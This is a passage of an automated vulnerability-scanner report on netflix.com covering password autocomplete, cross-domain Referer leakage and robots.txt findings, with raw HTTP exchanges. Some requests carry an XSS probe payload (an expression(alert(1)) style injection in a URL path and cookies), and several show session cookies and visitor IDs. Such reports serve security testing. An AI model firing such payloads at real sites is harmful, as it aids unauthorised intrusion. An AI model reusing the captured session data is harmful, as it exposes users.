To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

GET /Movie/The-Dark-Knight/70079583?trkid=813620 HTTP/1.1
Host: www.netflix.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: asearch=132502218544852124; NetflixCookies=persistent; NetflixSession=123.22cfc801-92e7-49a4-9513-17f631ed40a9; promo=51401915~0~1325203200000~~51401915~1324993388112~51401915~1325140768532~~~; custTrans=Y; fvinc=Y; isaffiliate=N; NSC_ED1-xxx=ffffffff09c8016a45525d5f4f58455e445a4a422d69; p_id=8P6R6888AN8PR4JLARL2A8N2H8LR8J2H4A; p_first_ref=; p_first_entry=http%3A//www.netflix.com/SubGenreList/Action_Adventure552fe%2522style%3D%2522x%3Aexpression%28alert%281%29%29%25221a6e8429755/296/Comic_Books_and_Superheroes/642; p_last_ref=; s_id=2RN84NJ4RN8PR48682P2A8N2H8LR8J2H4A; s_entry=http%3A//www.netflix.com/SubGenreList/Action_Adventure552fe%2522style%253d%2522x%253aexpression%28alert%281%29%29%25221a6e8429755/296/Comic_Books_and_Superheroes/642; miscCache=0001PFmsPue/Xsp0SSlyO8Z6LCdbcCk=!!&masqueradeSession=-1&giftCustomize&promotionID=60184945&accountRestartDate&hasPurchasedPlayer&lastTabBeforeStartSignup&signupTestExclusionReason&nrdContext=&browserWindowSizeCollected=Y; lastHitTime=1325169571991; nflxsid=123.1325169571991; custProps=; VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169572005~; nmp="MDAxOjUxNDAxOTE1OjEzMjUxNjk1NzIwMDY6Ojo="
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Thu, 29 Dec 2011 14:40:27 GMT
Server: Apache-Coyote/1.1
P3P: CP="CAO DSP COR DEVa TAIa OUR BUS UNI STA"
Cache-Control: private
Pragma: no-cache
Expires: Wed, 28 Dec 2011 14:40:27 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: lastHitTime=1325169627362; Domain=.netflix.com; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169572005~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:27 GMT; Path=/
Set-Cookie: nflxsid=123.1325169627362; Domain=.netflix.com; Path=/
Set-Cookie: custProps=; Domain=.netflix.com; Expires=Sat, 28-Jan-2012 14:40:27 GMT; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169627369~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:27 GMT; Path=/
Set-Cookie: nmp="MDAxOjUxNDAxOTE1OjEzMjUxNjk2MjczNjk6Ojo="; Domain=.netflix.com; Expires=Sat, 28-Jan-2012 14:40:27 GMT; Path=/
Set-Cookie: miscCache=0001KpuIMCZjaXJHsvqV6laAArn89sM=!!&masqueradeSession=-1&giftCustomize&promotionID=60184945&accountRestartDate&hasPurchasedPlayer&lastTabBeforeStartSignup=MOVIE_DISPLAY_PAGE&signupTestExclusionReason&nrdContext=&browserWindowSizeCollected=Y; Domain=.netflix.com; Path=/
Vary: Accept-Encoding
Content-Length: 24202

<!DOCTYPE HTML>
<html>
<head>
<script type="text/javascript">var RoundTripInfo = { htmlStart: (new Date()).getTime(), serverStart: 1325169627362, serverBeforeHtml: 1325169627372 };</script>
<meta h
...[SNIP]...
<div id="regform2col" class="regform2col">
       
           <form METHOD="POST" ACTION="https://www.netflix.com/Registration" NAME="register_form" onSubmit="return allowOnce(this);"><input type="hidden" name="nextpage" value="http://www.netflix.com/">
...[SNIP]...
<td class="field">
                   <input class="inputf" TYPE="PASSWORD" SIZE="15" ID="password1" NAME="password1" value="" maxlength=60></td>
...[SNIP]...
<td class="field">
                   <input class="inputf" TYPE="PASSWORD" SIZE="15" NAME="password2" value="" maxlength=60></td>
...[SNIP]...
6. Cross-domain Referer leakage  previous  next
There are 2 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behavior should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

6.1. http://www.netflix.com/Default  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.netflix.com
Path:   /Default

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /Default? HTTP/1.1
Host: www.netflix.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: asearch=132502218544852124; NetflixCookies=persistent; promo=51401915~0~1325203200000~~51401915~1324993388112~51401915~1325140768532~~~; custTrans=Y; fvinc=Y; p_id=8P6R6888AN8PR4JLARL2A8N2H8LR8J2H4A; p_first_ref=; p_first_entry=http%3A//www.netflix.com/SubGenreList/Action_Adventure552fe%2522style%3D%2522x%3Aexpression%28alert%281%29%29%25221a6e8429755/296/Comic_Books_and_Superheroes/642; p_last_ref=; s_id=2RN84NJ4RN8PR48682P2A8N2H8LR8J2H4A; s_entry=http%3A//www.netflix.com/SubGenreList/Action_Adventure552fe%2522style%253d%2522x%253aexpression%28alert%281%29%29%25221a6e8429755/296/Comic_Books_and_Superheroes/642; custProps=; VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325170485124~; nmp=MDAxOjUxNDAxOTE1OjEzMjUxNjk2Nzk2OTk6Ojo.; ecssn=eyJjb20ubmV0ZmxpeC5lYy51aWNvbW1vbi5jb250ZXh0LlZpc2l0b3JTZXNzaW9uIjpbeyJtYXAiOlt7ImVudHJ5IjpbeyJzdHJpbmciOlsidiIsIjAwMSJdfSx7InN0cmluZyI6WyJkbnNwYyIsdHJ1ZV19XX1dfV19; tlr=US|1325170558487; NSC_ED1-xxx=ffffffff09c8016145525d5f4f58455e445a4a422d6a
Content-Length: 10


Response

HTTP/1.1 403 Forbidden
Date: Thu, 29 Dec 2011 14:56:07 GMT
Server: Apache
Cache-Control: no-cache
Pragma: no-cache
Last-Modified: Wed, 09 Mar 2011 22:33:19 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Cache-Control: private
Content-Length: 2444
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Netflix Site Err
...[SNIP]...
<a href="http://www.netflix.com/Default"><img src="http://cdn-0.nflximg.com/us/labels/1px.gif" height=40 width=120 alt="Netflix - Discover Movies You'll Love" Title="Netflix - Discover Movies You'll Love" border=0></a>
...[SNIP]...
6.2. http://www.netflix.com/Movie/The-Dark-Knight/70079583  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.netflix.com
Path:   /Movie/The-Dark-Knight/70079583

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /Movie/The-Dark-Knight/70079583?trkid=813620 HTTP/1.1
Host: www.netflix.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.netflix.com/Movie/The-Dark-Knight/70079583?trkid=813620
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: asearch=132502218544852124; NetflixCookies=persistent; NetflixSession=123.22cfc801-92e7-49a4-9513-17f631ed40a9; promo=51401915~0~1325203200000~~51401915~1324993388112~51401915~1325140768532~~~; custTrans=Y; fvinc=Y; isaffiliate=N; NSC_ED1-xxx=ffffffff09c8016a45525d5f4f58455e445a4a422d69; p_id=8P6R6888AN8PR4JLARL2A8N2H8LR8J2H4A; p_first_ref=; p_first_entry=http%3A//www.netflix.com/SubGenreList/Action_Adventure552fe%2522style%3D%2522x%3Aexpression%28alert%281%29%29%25221a6e8429755/296/Comic_Books_and_Superheroes/642; p_last_ref=; s_id=2RN84NJ4RN8PR48682P2A8N2H8LR8J2H4A; s_entry=http%3A//www.netflix.com/SubGenreList/Action_Adventure552fe%2522style%253d%2522x%253aexpression%28alert%281%29%29%25221a6e8429755/296/Comic_Books_and_Superheroes/642; lastHitTime=1325169637527; nflxsid=123.1325169637527; custProps=; VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169637535~; nmp="MDAxOjUxNDAxOTE1OjEzMjUxNjk2Mzc1MzU6Ojo="; miscCache=0001TyCiYCqpHwTWhNhNqn4uSAns5qQ=!!&masqueradeSession=-1&giftCustomize&promotionID=60184945&accountRestartDate&hasPurchasedPlayer&lastTabBeforeStartSignup=MOVIE_DISPLAY_PAGE&registrationForm=UkYwMDE6cGFyYW1ldGVyczp7ZW1sdy0%2BW10sWlcxaGFXdz0tPltaR1Z6Wm1kb2FHYz1dLGMzUmhkR1U9LT5bXSxZV1JrY21WemN6RT0tPltdLGJHRnpkRzVoYldVPS0%2BW10sWVdSa2NtVnpjekk9LT5bXSxabWx5YzNSdVlXMWwtPltdLFpYSnliM0pRWVdkbC0%2BW2FIUjBjRG92TDNkM2R5NXVaWFJtYkdsNExtTnZiUzlOYjNacFpTOVVhR1V0UkdGeWF5MUxibWxuYUhRdk56QXdOemsxT0RNL2RISnJhV1E5T0RFek5qSXddLFpXMWhhV3d5LT5bY21Wb2NtVm9aWEowYUE9PV0sWTJsMGVRPT0tPltdfSxmaWVsZEVycm9yOntlcnJvckNvZGUtPi01MDJ8ZXJyb3JGaWVsZHMtPltaVzFoYVd3PV18ZXJyb3JGb2N1c0ZpZWxkLT5aVzFoYVd3PXxlcnJvckRhdGEtPkxUVXdNZz09fG1lc3NhZ2UtPldXOTFjaUJsYldGcGJDQmhaR1J5WlhOeklHMTFjM1FnWTI5dWRHRnBiaUJoSUVBdXx9&signupTestExclusionReason&nrdContext=&browserWindowSizeCollected=Y
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Thu, 29 Dec 2011 14:40:40 GMT
Server: Apache-Coyote/1.1
P3P: CP="CAO DSP COR DEVa TAIa OUR BUS UNI STA"
Cache-Control: private
Pragma: no-cache
Expires: Wed, 28 Dec 2011 14:40:40 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: lastHitTime=1325169640156; Domain=.netflix.com; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169637535~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:40 GMT; Path=/
Set-Cookie: nflxsid=123.1325169640157; Domain=.netflix.com; Path=/
Set-Cookie: custProps=; Domain=.netflix.com; Expires=Sat, 28-Jan-2012 14:40:40 GMT; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169640162~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:40 GMT; Path=/
Set-Cookie: nmp="MDAxOjUxNDAxOTE1OjEzMjUxNjk2NDAxNjI6Ojo="; Domain=.netflix.com; Expires=Sat, 28-Jan-2012 14:40:40 GMT; Path=/
Set-Cookie: miscCache=0001TyCiYCqpHwTWhNhNqn4uSAns5qQ=!!&masqueradeSession=-1&giftCustomize&promotionID=60184945&accountRestartDate&hasPurchasedPlayer&lastTabBeforeStartSignup=MOVIE_DISPLAY_PAGE&registrationForm=UkYwMDE6cGFyYW1ldGVyczp7ZW1sdy0%2BW10sWlcxaGFXdz0tPltaR1Z6Wm1kb2FHYz1dLGMzUmhkR1U9LT5bXSxZV1JrY21WemN6RT0tPltdLGJHRnpkRzVoYldVPS0%2BW10sWVdSa2NtVnpjekk9LT5bXSxabWx5YzNSdVlXMWwtPltdLFpYSnliM0pRWVdkbC0%2BW2FIUjBjRG92TDNkM2R5NXVaWFJtYkdsNExtTnZiUzlOYjNacFpTOVVhR1V0UkdGeWF5MUxibWxuYUhRdk56QXdOemsxT0RNL2RISnJhV1E5T0RFek5qSXddLFpXMWhhV3d5LT5bY21Wb2NtVm9aWEowYUE9PV0sWTJsMGVRPT0tPltdfSxmaWVsZEVycm9yOntlcnJvckNvZGUtPi01MDJ8ZXJyb3JGaWVsZHMtPltaVzFoYVd3PV18ZXJyb3JGb2N1c0ZpZWxkLT5aVzFoYVd3PXxlcnJvckRhdGEtPkxUVXdNZz09fG1lc3NhZ2UtPldXOTFjaUJsYldGcGJDQmhaR1J5WlhOeklHMTFjM1FnWTI5dWRHRnBiaUJoSUVBdXx9&signupTestExclusionReason&nrdContext=&browserWindowSizeCollected=Y; Domain=.netflix.com; Path=/
Set-Cookie: miscCache=0001KpuIMCZjaXJHsvqV6laAArn89sM=!!&masqueradeSession=-1&giftCustomize&promotionID=60184945&accountRestartDate&hasPurchasedPlayer&lastTabBeforeStartSignup=MOVIE_DISPLAY_PAGE&signupTestExclusionReason&nrdContext=&browserWindowSizeCollected=Y; Domain=.netflix.com; Path=/
Vary: Accept-Encoding
Content-Length: 24628

<!DOCTYPE HTML>
<html>
<head>
<script type="text/javascript">var RoundTripInfo = { htmlStart: (new Date()).getTime(), serverStart: 1325169640156, serverBeforeHtml: 1325169640165 };</script>
<meta h
...[SNIP]...
<meta name="save" content="history">
<link rel="shortcut icon" href="http://cdn-0.nflximg.com/us/icons/nficon.ico">
<link rel="canonical" href="http://www.netflix.com/Movie/The-Dark-Knight/70079583">
...[SNIP]...
<meta name="keywords" content="watch The Dark Knight, The Dark Knight movie, The Dark Knight online, rent The Dark Knight, movies online, tv online, tv shows online, watch tv, watch movies">
<link rel="image_src" href="http://cdn-0.nflximg.com/us/boxshots/large/70079583.jpg">
<meta name="title" content="Netflix - Watch The Dark Knight">
...[SNIP]...
<a href="https://www.netflix.com/"><img src="http://cdn-0.nflximg.com/us/layout/signup/950/header/netflix_logo.gif" height="55" border="0" alt="Netflix" title="Netflix"></a>
...[SNIP]...
<a href="http://www.netflix.com/Gift?gctrkid=67206157"><img src="http://cdn-0.nflximg.com/us/layout/gift/nav_gift_icon_notwinkle.gif" border="0"></a>
...[SNIP]...
<div class="mpaa">
            <img src="http://cdn-0.nflximg.com/us/pages/parental_ratings/rating_PG-13.gif" border="0" hspace="8" align="left" alt="Rated PG-13">Parents strongly cautioned. Some material may be inappropriate for children under 13.
            </div>
...[SNIP]...
<div class="boxshot">
               <img src="http://cdn-3.nflximg.com/us/boxshots/large/70079583.jpg" alt="The Dark Knight" width="110" border="1" vspace="2" style="border:1px solid #bbbbbb;" id="b070079583_0">
               
               
               </div>
...[SNIP]...
<td><img src="http://cdn-0.nflximg.com/us/icons/alert.gif"></td>
...[SNIP]...
<div class="padlock"><img src="http://cdn-0.nflximg.com/us/layout/signup/950/b3/padlock_sm.gif" border="0" align=bottom>&nbsp;Secure Server</div>
...[SNIP]...
<li class="bo"><a href="http://www.netflixprize.com">Netflix Prize</a>
...[SNIP]...
7. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.netflix.com
Path:   /SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honor the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorized access.

Request

GET /robots.txt HTTP/1.0
Host: www.netflix.com

Response

HTTP/1.1 200 OK
Date: Thu, 29 Dec 2011 14:39:32 GMT
Server: Apache-Coyote/1.1
Last-Modified: Tue, 20 Dec 2011 16:32:48 GMT
Content-Type: text/plain
Content-Length: 1316
Vary: Accept-Encoding
Cache-Control: private
Keep-Alive: timeout=15, max=97
Connection: Keep-Alive
Set-Cookie: NSC_ED1-xxx=ffffffff09c8016045525d5f4f58455e445a4a422d69;path=/;domain=netflix.com;httponly

# /robots.txt file for www.netflix.com/
# Mod DPD 2/22/2011

User-agent: *
Disallow: /Address
Disallow: /AddToQueue
Disallow: /BeMyFriend
Disallow: /BillingHistory
Disallow: /BillingActivity
Disallow:
...[SNIP]...
Report generated by XSS.Cx at Sat Sep 01 08:38:01 EDT 2012.